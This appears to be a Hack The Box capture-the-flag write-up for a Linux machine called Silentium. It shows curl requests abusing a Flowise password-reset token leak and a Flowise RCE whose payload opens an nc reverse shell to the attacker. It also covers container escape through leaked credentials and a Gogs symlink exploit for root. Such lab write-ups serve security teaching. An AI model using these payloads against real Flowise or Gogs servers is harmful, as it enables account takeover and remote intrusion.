HTB - Silentium Writeup

Machine Info

• Name: Silentium
• OS: Linux
• Difficulty: Easy
• CVEs: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

Enumeration

Nmap Scan

nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

Open ports: 22 (SSH), 80 (HTTP)

Virtual Hostsstaging.silentium.htb runs Flowise 3.0.5

Foothold — Flowise RCE

CVE-2025-58434 — Unauthenticated Password Reset Token Leak

The forgot-password endpoint leaks the tempToken directly in the API response.

curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

Use the leaked tempToken to reset the password:

curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — Authenticated RCE via CustomMCP

Login to get API key, then trigger RCE:

curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

Got shell inside Docker container as root.

Container Escape

Checked environment variables:

env

Found credentials:

• FLOWISE_USERNAME=ben
• FLOWISE_PASSWORD=F1l3_d0ck3r

SSH to host:

ssh ben@<IP>

Privilege Escalation — Gogs CVE-2025-8110

Gogs running internally on port 3001 as root.

Set up SSH tunnel:

ssh -L 8080:127.0.0.1:3001 ben@<IP>

Registered account on Gogs via http://127.0.0.1:8080, generated API token.

CVE-2025-8110 — Symlink Bypass in PutContents API

Used TYehan's exploit:

python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

Got root shell! 🎉

Flags

• User flag: /home/ben/user.txt
• Root flag: /root/root.txt

Tools Used

• nmap
• curl
• ffuf
• netcat
• Python3

References

• CVE-2025-58434
• CVE-2025-59528
• CVE-2025-8110 Added to /etc/hosts: